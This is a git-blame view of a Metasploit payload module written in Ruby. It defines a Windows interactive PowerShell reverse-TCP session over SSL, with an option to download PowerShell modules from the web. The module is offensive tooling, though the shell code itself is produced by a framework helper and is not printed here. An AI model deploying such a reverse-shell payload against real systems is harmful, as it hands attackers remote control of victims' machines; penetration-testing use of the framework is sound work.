2015-04-19 23:38:41 +01:00
|
|
|
##
|
2017-07-24 06:26:21 -07:00
|
|
|
# This module requires Metasploit: https://metasploit.com/download
|
2015-04-19 23:38:41 +01:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
|
##
|
|
|
|
|
|
2015-05-11 17:43:51 +10:00
|
|
|
require 'msf/core/handler/reverse_tcp'
|
2015-04-23 23:12:38 +01:00
|
|
|
require 'msf/base/sessions/powershell'
|
2015-05-13 17:26:21 +01:00
|
|
|
require 'msf/core/payload/windows/powershell'
|
2015-05-13 17:36:45 +01:00
|
|
|
require 'msf/core/handler/reverse_tcp_ssl'
|
2015-04-19 23:38:41 +01:00
|
|
|
|
2016-03-08 14:02:44 +01:00
|
|
|
module MetasploitModule
|
2015-04-19 23:38:41 +01:00
|
|
|
|
2019-04-26 08:40:07 -05:00
|
|
|
CachedSize = 1561
|
2015-04-19 23:38:41 +01:00
|
|
|
|
|
|
|
|
include Msf::Payload::Single
|
2015-04-26 00:16:59 +01:00
|
|
|
include Rex::Powershell::Command
|
2015-05-13 17:26:21 +01:00
|
|
|
include Msf::Payload::Windows::Powershell
|
2015-04-19 23:38:41 +01:00
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
|
super(merge_info(info,
|
2015-04-26 09:20:29 +01:00
|
|
|
'Name' => 'Windows Interactive Powershell Session, Reverse TCP',
|
2015-04-25 07:02:25 +01:00
|
|
|
'Description' => 'Interacts with a powershell session on an established socket connection',
|
2015-04-26 00:16:59 +01:00
|
|
|
'Author' =>
|
|
|
|
|
[
|
|
|
|
|
'Ben Turner', # benpturner
|
|
|
|
|
'Dave Hardy' # davehardy20
|
|
|
|
|
],
|
|
|
|
|
'References' =>
|
|
|
|
|
[
|
|
|
|
|
['URL', 'https://www.nettitude.co.uk/interactive-powershell-session-via-metasploit/']
|
|
|
|
|
],
|
2015-04-19 23:38:41 +01:00
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
|
'Platform' => 'windows',
|
|
|
|
|
'Arch' => ARCH_CMD,
|
2015-05-13 17:26:21 +01:00
|
|
|
'Handler' => Msf::Handler::ReverseTcpSsl,
|
2015-04-23 23:12:38 +01:00
|
|
|
'Session' => Msf::Sessions::PowerShell,
|
2015-04-19 23:38:41 +01:00
|
|
|
'RequiredCmd' => 'generic',
|
|
|
|
|
'Payload' =>
|
|
|
|
|
{
|
|
|
|
|
'Offsets' => { },
|
|
|
|
|
'Payload' => ''
|
|
|
|
|
}
|
|
|
|
|
))
|
2015-04-26 00:16:59 +01:00
|
|
|
register_options(
|
|
|
|
|
[
|
2019-10-05 14:13:38 -04:00
|
|
|
OptString.new('LOAD_MODULES', [ false, "A list of powershell modules separated by a comma to download over the web", nil ]),
|
2017-05-03 15:42:21 -05:00
|
|
|
])
|
2015-04-26 00:16:59 +01:00
|
|
|
end
|
|
|
|
|
|
|
|
|
|
def generate
|
2015-05-13 17:26:21 +01:00
|
|
|
generate_powershell_code("Reverse")
|
2015-04-19 23:38:41 +01:00
|
|
|
end
|
|
|
|
|
end
|